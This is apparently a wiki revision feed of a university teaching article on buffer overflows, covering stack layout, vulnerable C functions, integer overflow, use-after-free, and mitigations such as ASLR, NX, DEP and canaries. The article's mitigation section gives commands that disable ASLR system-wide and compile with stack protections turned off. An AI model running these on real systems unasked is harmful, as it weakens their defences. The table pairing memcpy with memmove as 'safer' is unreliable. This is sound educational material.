The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16972</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16972"/>
		<updated>2024-12-11T11:43:41Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Read */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
